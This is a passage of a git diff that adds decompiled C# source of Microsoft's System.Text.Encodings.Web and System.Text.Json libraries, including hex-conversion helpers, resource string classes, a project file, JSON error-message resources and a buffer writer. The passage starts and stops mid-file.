charsProcessed; + return TryDecodeFromUtf16(chars, bytes, out charsProcessed); + } + + public static bool TryDecodeFromUtf16(ReadOnlySpan chars, Span bytes, out int charsProcessed) + { + int num = 0; + int num2 = 0; + int num3 = 0; + int num4 = 0; + while (num2 < bytes.Length) + { + num3 = FromChar(chars[num + 1]); + num4 = FromChar(chars[num]); + if ((num3 | num4) == 255) + { + break; + } + bytes[num2++] = (byte)((num4 << 4) | num3); + num += 2; + } + if (num3 == 255) + { + num++; + } + charsProcessed = num; + return (num3 | num4) != 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromChar(int c) + { + if (c < CharToHexLookup.Length) + { + return CharToHexLookup[c]; + } + return 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromUpperChar(int c) + { + if (c <= 71) + { + return CharToHexLookup[c]; + } + return 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromLowerChar(int c) + { + switch (c) + { + case 48: + case 49: + case 50: + case 51: + case 52: + case 53: + case 54: + case 55: + case 56: + case 57: + return c - 48; + case 97: + case 98: + case 99: + case 100: + case 101: + case 102: + return c - 97 + 10; + default: + return 255; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexChar(int c) + { + if (IntPtr.Size == 8) + { + ulong num = (uint)(c - 48); + ulong num2 = (ulong)(-17875860044349952L << (int)num); + ulong num3 = num - 64; + return (long)(num2 & num3) < 0L; + } + return FromChar(c) != 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexUpperChar(int c) + { + if ((uint)(c - 48) > 9u) + { + return (uint)(c - 65) <= 5u; + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexLowerChar(int c) + { + if ((uint)(c - 48) > 9u) + { + return (uint)(c - 97) <= 5u; + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System/SR.cs b/decompiled/Libraries/system.text.encodings.web/System/SR.cs new file mode 100644 index 0000000..ce4868f --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System/SR.cs @@ -0,0 +1,127 @@ +using System.Resources; +using FxResources.System.Text.Encodings.Web; + +namespace System; + +internal static class SR +{ + private static readonly bool s_usingResourceKeys = AppContext.TryGetSwitch("System.Resources.UseSystemResourceKeys", out var isEnabled) && isEnabled; + + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(SR))); + + internal static string TextEncoderDoesNotImplementMaxOutputCharsPerInputChar => GetResourceString("TextEncoderDoesNotImplementMaxOutputCharsPerInputChar"); + + internal static bool UsingResourceKeys() + { + return s_usingResourceKeys; + } + + private static string GetResourceString(string resourceKey) + { + if (UsingResourceKeys()) + { + return resourceKey; + } + string result = null; + try + { + result = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + return result; + } + + private static string GetResourceString(string resourceKey, string defaultString) + { + string resourceString = GetResourceString(resourceKey); + if (!(resourceKey == resourceString) && resourceString != null) + { + return resourceString; + } + return defaultString; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(provider, resourceFormat, p1); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(provider, resourceFormat, p1, p2); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(provider, resourceFormat, p1, p2, p3); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(provider, resourceFormat, args); + } + return resourceFormat; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/costura.system.text.encodings.web.csproj b/decompiled/Libraries/system.text.encodings.web/costura.system.text.encodings.web.csproj new file mode 100644 index 0000000..ddb8ef9 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/costura.system.text.encodings.web.csproj @@ -0,0 +1,27 @@ + + + System.Text.Encodings.Web + False + net462 + + + 14.0 + True + False + + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.json/-PrivateImplementationDetails-.cs b/decompiled/Libraries/system.text.json/-PrivateImplementationDetails-.cs new file mode 100644 index 0000000..e69de29 diff --git a/decompiled/Libraries/system.text.json/.DS_Store b/decompiled/Libraries/system.text.json/.DS_Store new file mode 100644 index 0000000..c86701b Binary files /dev/null and b/decompiled/Libraries/system.text.json/.DS_Store differ diff --git a/decompiled/Libraries/system.text.json/FxResources.System.Text.Json.SR.resx b/decompiled/Libraries/system.text.json/FxResources.System.Text.Json.SR.resx new file mode 100644 index 0000000..d2554a7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/FxResources.System.Text.Json.SR.resx @@ -0,0 +1,232 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Cannot write the start of an object or array without a property name. Current token type is '{0}'. + '{0}' is invalid within a JSON string. The string should be correctly escaped. + The converter specified on '{0}' does not derive from JsonConverter or have a public parameterless constructor. + The type '{0}' is marked 'JsonUnmappedMemberHandling.Disallow' which conflicts with extension data property '{1}'. + A '$values' metadata property must always be preceded by other metadata properties, such as '$id' or '$type'. + The IJsonTypeInfoResolver returned an incompatible JsonTypeInfo instance of type '{0}', expected type '{1}'. + A JSON object that contains a '$ref' metadata property must not contain any other properties. + The type '{0}' is not supported. + Specified type '{0}' is not a supported derived type for the polymorphic type '{1}'. Derived types must be assignable to the base type, must not be generic and cannot be abstract classes or interfaces unless 'JsonUnknownDerivedTypeHandling.FallBackToNearestAncestor' is specified. + CurrentDepth ({0}) is equal to or larger than the maximum allowed depth of {1}. Cannot write the next JSON object or array. + The naming policy '{0}' cannot return null. + '{0}' is invalid without a matching open. + Runtime type '{0}' has a diamond ambiguity between derived types '{1}' and '{2}' of polymorphic type '{3}'. Consider either removing one of the derived types or removing the 'JsonUnknownDerivedTypeHandling.FallBackToNearestAncestor' setting. + Cannot allocate a buffer of size {0}. + The collection type '{0}' is abstract, an interface, or is read only, and could not be instantiated and populated. + JsonSerializerOptions instance must specify a TypeInfoResolver setting before being marked as read-only. + The type '{0}' is invalid for serialization or deserialization because it is a pointer type, is a ref struct, or contains generic parameters that have not been replaced by specific types. + '{0}' is invalid following a property name. + Destination is too short. + The JSON value is not in a supported {0} format. + The input does not contain any JSON tokens. Expected the input to start with a valid JSON token, when isFinalBlock is true. + Cannot advance past the end of the buffer, which has a size of {0}. + Parameter already associated with a different JsonTypeInfo instance. + The metadata property is either not supported by the type or is not the first property in the deserialized JSON object. + .NET number values such as positive and negative infinity cannot be written as valid JSON. To make it work when using 'JsonSerializer', consider specifying 'JsonNumberHandling.AllowNamedFloatingPointLiterals' (see https://docs.microsoft.com/dotnet/api/system.text.json.serialization.jsonnumberhandling). + Reference '{0}' was not found. + The attribute '{0}' cannot exist more than once on '{1}'. + Expected end of comment, but instead reached end of data. + Cannot read incomplete UTF-16 JSON text as string with missing low surrogate. + '{0}' is an invalid escapable character within a JSON string. The string should be correctly escaped. + A JsonNode cannot be used as a value. + Writing an empty JSON payload (excluding comments) is invalid. + Deserialization of types without a parameterless constructor, a singular parameterized constructor, or a parameterized constructor annotated with '{0}' is not supported. Type '{1}'. + JsonTypeInfo metadata for type '{0}' was not provided by TypeInfoResolver of type '{1}'. If using source generation, ensure that all root types passed to the serializer have been annotated with 'JsonSerializableAttribute', along with any types that might be serialized polymorphically. + Invalid leading zero before '{0}'. + Members '{0}' and '{1}' on type '{2}' cannot both bind with parameter '{3}' in the deserialization constructor. + Expected end of string, but instead reached end of data. + The maximum configured depth of {0} has been exceeded. Cannot read next JSON object. + The maximum configured depth of {0} has been exceeded. Cannot read next JSON array. + '{0}' is an invalid start of a value. + 'IgnoreNullValues' and 'DefaultIgnoreCondition' cannot both be set to non-default values. + The converter specified on '{0}' is not compatible with the type '{1}'. + JsonPropertyInfo with name '{0}' for type '{1}' is already bound to different JsonTypeInfo. + The node must be of type '{0}'. + Cannot write a JSON property within an array or as the first JSON token. Current token type is '{0}'. + Invalid reference to value type '{0}'. + This JsonTypeInfo instance is marked read-only or has already been used in serialization or deserialization. + The JSON property name for '{0}.{1}' collides with another property. + The extension data property '{0}.{1}' is invalid. It must implement 'IDictionary<string, JsonElement>' or 'IDictionary<string, object>', or be 'JsonObject'. + The deserialization constructor for type '{0}' contains parameters with null names. This might happen because the parameter names have been trimmed by ILLink. Consider using the source generated serializer instead. + '{0}' is invalid within a number, immediately after a decimal point ('.'). Expected a digit ('0'-'9'). + The converter '{0}' handles type '{1}' but is being asked to convert type '{2}'. Either create a separate converter for type '{2}' or change the converter's 'CanConvert' method to only return 'true' for a single type. + Properties that start with '$' are not allowed in types that support metadata. Either escape the character or disable reference preservation and polymorphic deserialization. + The type '{0}' cannot have more than one member that has the attribute '{1}'. + This JsonSerializerOptions instance is read-only or has already been used in serialization or deserialization. + Expected depth to be zero at the end of the JSON payload. There is an open JSON object or array that should be closed. + The JSON property '{0}' could not be mapped to any .NET member contained in type '{1}'. + The ignore condition 'JsonIgnoreCondition.WhenWritingNull' is not valid on value-type member '{0}' on type '{1}'. Consider using 'JsonIgnoreCondition.WhenWritingDefault'. + A value of type '{0}' cannot be converted to a '{1}'. + '{0}' is an invalid start of a property name or value, after a comment. + The unsupported member type is located on type '{0}'. + Cannot get the value of a token type '{0}' as a {1}. + Destination array was not long enough. + Comments cannot be stored in a JsonDocument, only the Skip and Disallow comment handling modes are supported. + The value of the '$id' metadata property '{0}' conflicts with an existing identifier. + The '$id', '$ref' or '$type' metadata properties must be JSON strings. Current token type is '{0}'. + The JSON property name for '{0}.{1}' cannot be null. + Each parameter in the deserialization constructor on type '{0}' must bind to an object property or field on deserialization. Each parameter name must match with a property or field on the object. Fields are only considered when 'JsonSerializerOptions.IncludeFields' is enabled. The match can be case-insensitive. + Deserialized object contains a duplicate type discriminator metadata property. + Deserialization failed for one of these reasons: +1. {0} +2. {1} + The element cannot be an object or array. + A custom converter for JsonObject is not allowed on an extension property. + The type '{0}' is not supported by the current JsonConverterFactory. + JsonObjectCreationHandling.Populate is incompatible with reference handling. + '{0}' is an invalid end of a number. Expected 'E' or 'e'. + Cannot write a JSON value within an object without a property name. Current token type is '{0}'. + '{0}' is invalid within a number, immediately after a sign character ('+' or '-'). Expected a digit ('0'-'9'). + An element of type '{0}' cannot be converted to a '{1}'. + Cannot write a comment value which contains the end of comment delimiter. + Expected a digit ('0'-'9'), but instead reached end of data. + The element must be of type '{0}' + The type '{0}' is not a supported dictionary key using converter of type '{1}'. + Reference metadata is not supported when deserializing constructor parameters. See type '{0}'. + Could not locate required member '{0}' from FSharp.Core. This might happen because your application has enabled member-level trimming. + The value cannot be 'JsonIgnoreCondition.Always'. + Cannot encode invalid UTF-16 text as JSON. Invalid surrogate value: '{0}'. + A JSON object containing metadata for a nested array includes a non-metadata property '{0}'. + The type '{0}' of property '{1}' on type '{2}' is invalid for serialization or deserialization because it is a pointer type, is a ref struct, or contains generic parameters that have not been replaced by specific types. + Cannot transcode invalid UTF-8 JSON text to UTF-16 string. + The '$values' metadata property must be a JSON array. Current token type is '{0}'. + Serialization and deserialization of '{0}' instances is not supported. + Cannot write a JSON value after a single JSON value or outside of an existing closed object/array. Current token type is '{0}'. + The specified IJsonTypeInfoResolver chain cannot be modified. + Property '{0}' on type '{1}' is marked with JsonObjectCreationHandling.Populate but it is a read-only member and JsonSerializerOptions has IgnoreReadOnlyProperties or IgnoreReadOnlyFields set. + Property '{0}' on type '{1}' is marked with JsonObjectCreationHandling.Populate but is a value type that doesn't have a setter. + The extension data property '{0}' on type '{1}' cannot bind with a parameter in the deserialization constructor. + Unexpected end of data while reading a comment. + Either the JSON value is not in a supported format, or is out of bounds for an UInt128. + Cannot insert the values of 'TypeInfoResolver' or 'TypeInfoResolverChain' to 'TypeInfoResolverChain'. + Cannot write the start of an object/array after a single JSON value or outside of an existing closed object/array. Current token type is '{0}'. + '{0}' is invalid after a value. Expected either ',', '}}', or ']'. + Expected start of a property name or value, but instead reached end of data. + Either the JSON value is not in a supported format, or is out of bounds for an unsigned byte. + Either the JSON value is not in a supported format, or is out of bounds for a Half. + The metadata property '$id' must be the first reference preservation property in the JSON object. + Cannot read invalid UTF-16 JSON text as string. Invalid surrogate value: '{0}'. + Collection is read-only. + The converter for type '{0}' does not support setting 'CreateObject' delegates. + The converter '{0}' cannot return a null value. + Either the JSON value is not in a supported format, or is out of bounds for an Int64. + Either the JSON value is not in a supported format, or is out of bounds for an Int16. + Either the JSON value is not in a supported format, or is out of bounds for an Int32. + Either the JSON value is not in a supported format, or is out of bounds for a Double. + Either the JSON value is not in a supported format, or is out of bounds for a signed byte. + Unable to cast object of type '{0}' to type '{1}'. + Enum type '{0}' uses unsupported identifer name '{1}'. + Max depth must be positive. + A 'field' member cannot be 'virtual'. See arguments for the '{0}' and '{1}' parameters. + The JSON object contains a trailing comma at the end which is not supported in this mode. Change the reader options. + The JSON array contains a trailing comma at the end which is not supported in this mode. Change the reader options. + The requested operation requires an element of type '{0}', but the target element has type '{1}'. + The converter '{0}' is not compatible with the type '{1}'. + The converter for derived type '{0}' does not support metadata writes or reads. + Cannot parse a JSON object containing metadata properties like '$id' or '$type' into an array or immutable collection type. Type '{0}'. + '{0}' is an invalid end of a number. Expected a delimiter. + The generic type of the converter for property '{0}.{1}' must match with the specified converter type '{2}'. The converter must not be 'null'. + Cannot encode invalid UTF-8 text as JSON. Invalid input: '{0}'. + The JSON value of length {0} is too large and not supported. + Cannot decode JSON text that is not encoded as valid Base64 to bytes. + A possible object cycle was detected. This can either be due to a cycle or if the object depth is larger than the maximum allowed depth of {0}. Consider using ReferenceHandler.Preserve on JsonSerializerOptions to support cycles. + The JsonCommentHandling enum must be set to one of the supported values. + The input does not contain any complete JSON tokens. Expected the input to have at least one valid, complete, JSON token. + Either the JSON value is not in a supported format, or is out of bounds for an Int128. + F# discriminated union serialization is not supported. Consider authoring a custom converter for the type. + The converter '{0}' read too much or not enough. + The value must be greater than zero. + Ambiguous matches when resolving JsonTypeInfo metadata for type '{0}': '{1}', '{2}'. Consider either explicitly providing metadata for the type or removing one of its interface implementations. + The 'IBufferWriter' could not provide an output buffer that is large enough to continue writing. + Invalid JsonTypeInfo operation for JsonTypeInfoKind '{0}'. + Unable to assign 'null' to the property or field of type '{0}'. + '{0}' is an invalid JSON literal. Expected the literal 'true'. + '{0}' is an invalid JSON literal. Expected the literal 'null'. + The polymorphic type '{0}' has already specified a type discriminator '{1}'. + JsonSerializerOptions instances cannot be modified once encapsulated by a JsonSerializerContext. Such encapsulation can happen either when calling 'JsonSerializerOptions.AddContext' or when passing the options instance to a JsonSerializerContext constructor. + Cannot transcode invalid UTF-16 string to UTF-8 JSON text. + Either the JSON value is not in a supported format, or is out of bounds for a UInt16. + Either the JSON value is not in a supported format, or is out of bounds for a UInt32. + Either the JSON value is not in a supported format, or is out of bounds for a UInt64. + A node cycle was detected. + '{0}' is an invalid JSON literal. Expected the literal 'false'. + '{0}' is invalid after a single JSON value. Expected end of data. + '{0}' is not a hex digit following '\u' within a JSON string. The string should be correctly escaped. + The JSON value is either too large or too small for a Decimal. + '{0}' is an invalid start of a property name. Expected a '"'. + The object or value could not be serialized. + '{0}' is invalid after '/' at the beginning of the comment. Expected either '/' or '*'. + '{0}' is an invalid token type for the end of the JSON payload. Expected either 'EndArray' or 'EndObject'. + An item with the same key has already been added. Key: {0} + Polymorphic configuration for type '{0}' should specify at least one derived type. + Deserialization of interface types is not supported. Type '{0}'. + JSON deserialization for type '{0}' was missing required properties, including the following: {1} + The JSON value could not be converted to {0}. + Property '{0}' on type '{1}' is marked with JsonObjectCreationHandling.Populate but it doesn't support populating. This can be either because the property type is immutable or it could use a custom converter. + The type '{0}' can only be serialized using async serialization methods. + The converter '{0}' cannot return an instance of JsonConverterFactory. + Either the JSON value is not in a supported format, or is out of bounds for a Single. + The converter for polymorphic type '{0}' does not support metadata writes or reads. + Cannot skip tokens on partial JSON. Either get the whole payload and create a Utf8JsonReader instance where isFinalBlock is true or call TrySkip. + The polymorphic type '{0}' has already specified derived type '{1}'. + Property '{0}' on type '{1}' is marked with JsonObjectCreationHandling.Populate but its type allows polymorphic deserialization. + The metadata property names '$id', '$ref', and '$values' are reserved and cannot be used as custom type discriminator property names. + TypeInfoResolver '{0}' did not provide property metadata for type '{1}'. + The JSON property name of length {0} is too large and not supported. + Cannot write a JSON property name following another property name. A JSON value is missing. + The specified type {0} must derive from the specific value's type {1}. + Property '{0}' on type '{1}' is marked with JsonObjectCreationHandling.Populate but it doesn't have a getter. + Expected a value, but instead reached end of data. + 'JsonNumberHandlingAttribute' is only valid on a number or a collection of numbers when applied to a property or field. See member '{0}' on type '{1}'. + Stream is not writable. + The JSON writer needs to be flushed before getting the current state. There are {0} bytes that have not been committed to the output. + Read unrecognized type discriminator id '{0}'. + The node already has a parent. + The object with reference id '{0}' of type '{1}' cannot be assigned to the type '{2}'. + There is not enough data to read through the entire JSON array or object. + '{0}' is invalid after a property name. Expected a ':'. + Found invalid line or paragraph separator character while reading a comment. + The IJsonTypeInfoResolver returned a JsonTypeInfo instance whose JsonSerializerOptions setting does not match the provided argument. + The converter '{0}' wrote too much or not enough. + Cannot compare the value of a token type '{0}' to text. + Comments cannot be stored when deserializing objects, only the Skip and Disallow comment handling modes are supported. + JsonPropertyInfo '{0}' defined in type '{1}' is marked both as required and as an extension data property. This combination is not supported. + The node must have a parent node of type '{0}'. + Cannot add callbacks to the 'Modifiers' property after the resolver has been used for the first time. + Specified type '{0}' does not support polymorphism. Polymorphic types cannot be structs, sealed types, generic types or System.Object. + The property '{0}' on type '{1}' which is annotated with 'JsonIncludeAttribute' is not accesible by the source generator. + Reflection-based serialization has been disabled for this application. Either use the source generator APIs or explicitly configure the 'JsonSerializerOptions.TypeInfoResolver' property. + JsonObjectCreationHandling.Populate is currently not supported in types with parameterized constructors. + Runtime type '{0}' is not supported by polymorphic type '{1}'. + Number was less than 0. + JsonPropertyInfo '{0}' defined in type '{1}' is marked required but does not specify a setter. + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.json/FxResources.System.Text.Json/SR.cs b/decompiled/Libraries/system.text.json/FxResources.System.Text.Json/SR.cs new file mode 100644 index 0000000..6d90566 --- /dev/null +++ b/decompiled/Libraries/system.text.json/FxResources.System.Text.Json/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Text.Json; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.text.json/ILLink.Substitutions.xml b/decompiled/Libraries/system.text.json/ILLink.Substitutions.xml new file mode 100644 index 0000000..2380e13 --- /dev/null +++ b/decompiled/Libraries/system.text.json/ILLink.Substitutions.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.json/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/system.text.json/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/system.text.json/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.text.json/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..eb60eba --- /dev/null +++ b/decompiled/Libraries/system.text.json/Properties/AssemblyInfo.cs @@ -0,0 +1,27 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; + +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("System.Text.Json")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("Provides high-performance and low-allocating types that serialize objects to JavaScript Object Notation (JSON) text and deserialize JSON text to objects, with UTF-8 support built-in. Also provides types to read and write JSON text encoded as UTF-8, and to create an in-memory document object model (DOM), that is read-only, for random access of the JSON elements within a structured view of the data.\r\n\r\nThe System.Text.Json library is built-in as part of the shared framework in .NET Runtime. The package can be installed when you need to use it in other target frameworks.")] +[assembly: AssemblyFileVersion("8.0.1024.46610")] +[assembly: AssemblyInformationalVersion("8.0.10+81cabf2857a01351e5ab578947c7403a5b128ad1")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("System.Text.Json")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("8.0.0.5")] +[module: NullablePublicOnly(false)] diff --git a/decompiled/Libraries/system.text.json/System.Buffers.Text/SequenceValidity.cs b/decompiled/Libraries/system.text.json/System.Buffers.Text/SequenceValidity.cs new file mode 100644 index 0000000..1eae161 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Buffers.Text/SequenceValidity.cs @@ -0,0 +1,9 @@ +namespace System.Buffers.Text; + +internal enum SequenceValidity +{ + Empty, + WellFormed, + Incomplete, + Invalid +} diff --git a/decompiled/Libraries/system.text.json/System.Buffers/ArrayBufferWriter.cs b/decompiled/Libraries/system.text.json/System.Buffers/ArrayBufferWriter.cs new file mode 100644 index 0000000..f5ffa9e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Buffers/ArrayBufferWriter.cs @@ -0,0 +1,117 @@ +namespace System.Buffers; + +internal sealed class ArrayBufferWriter : IBufferWriter +{ + private const int ArrayMaxLength = 2147483591; + + private const int DefaultInitialBufferSize = 256; + + private T[] _buffer; + + private int _index; + + public ReadOnlyMemory WrittenMemory => _buffer.AsMemory(0, _index); + + public ReadOnlySpan WrittenSpan => _buffer.AsSpan(0, _index); + + public int WrittenCount => _index; + + public int Capacity => _buffer.Length; + + public int FreeCapacity => _buffer.Length - _index; + + public ArrayBufferWriter() + { + _buffer = Array.Empty(); + _index = 0; + } + + public ArrayBufferWriter(int initialCapacity) + { + if (initialCapacity <= 0) + { + throw new ArgumentException(null, "initialCapacity"); + } + _buffer = new T[initialCapacity]; + _index = 0; + } + + public void Clear() + { + _buffer.AsSpan(0, _index).Clear(); + _index = 0; + } + + public void ResetWrittenCount() + { + _index = 0; + } + + public void Advance(int count) + { + if (count < 0) + { + throw new ArgumentException(null, "count"); + } + if (_index > _buffer.Length - count) + { + ThrowInvalidOperationException_AdvancedTooFar(_buffer.Length); + } + _index += count; + } + + public Memory GetMemory(int sizeHint = 0) + { + CheckAndResizeBuffer(sizeHint); + return _buffer.AsMemory(_index); + } + + public Span GetSpan(int sizeHint = 0) + { + CheckAndResizeBuffer(sizeHint); + return _buffer.AsSpan(_index); + } + + private void CheckAndResizeBuffer(int sizeHint) + { + if (sizeHint < 0) + { + throw new ArgumentException("sizeHint"); + } + if (sizeHint == 0) + { + sizeHint = 1; + } + if (sizeHint <= FreeCapacity) + { + return; + } + int num = _buffer.Length; + int num2 = Math.Max(sizeHint, num); + if (num == 0) + { + num2 = Math.Max(num2, 256); + } + int num3 = num + num2; + if ((uint)num3 > 2147483647u) + { + uint num4 = (uint)(num - FreeCapacity + sizeHint); + if (num4 > 2147483591) + { + ThrowOutOfMemoryException(num4); + } + num3 = 2147483591; + } + Array.Resize(ref _buffer, num3); + } + + private static void ThrowInvalidOperationException_AdvancedTooFar(int capacity) + { + throw new InvalidOperationException(System.SR.Format(System.SR.BufferWriterAdvancedTooFar, capacity)); + } + + private static void ThrowOutOfMemoryException(uint capacity) + { + throw new OutOfMemoryException(System.SR.Format(System.SR.BufferMaximumSizeExceeded, capacity)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Collections.Generic/ReferenceEqualityComparer.cs b/decompiled/Libraries/system.text.json/System.Collections.Generic/ReferenceEqualityComparer.cs new file mode 100644 index 0000000..0d3d44f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Collections.Generic/ReferenceEqualityComparer.cs @@ -0,0 +1,22 @@ +using System.Runtime.CompilerServices; + +namespace System.Collections.Generic; + +internal sealed class ReferenceEqualityComparer : IEqualityComparer, IEqualityComparer +{ + public static ReferenceEqualityComparer Instance { get; } = new ReferenceEqualityComparer(); + + private ReferenceEqualityComparer() + { + } + + public new bool Equals(object x, object y) + { + return x == y; + } + + public int GetHashCode(object obj) + { + return RuntimeHelpers.GetHashCode(obj); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Collections.Generic/StackExtensions.cs b/decompiled/Libraries/system.text.json/System.Collections.Generic/StackExtensions.cs new file mode 100644 index 0000000..a14d29d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Collections.Generic/StackExtensions.cs @@ -0,0 +1,28 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Collections.Generic; + +internal static class StackExtensions +{ + public static bool TryPeek(this Stack stack, [MaybeNullWhen(false)] out T result) + { + if (stack.Count > 0) + { + result = stack.Peek(); + return true; + } + result = default(T); + return false; + } + + public static bool TryPop(this Stack stack, [MaybeNullWhen(false)] out T result) + { + if (stack.Count > 0) + { + result = stack.Pop(); + return true; + } + result = default(T); + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicDependencyAttribute.cs 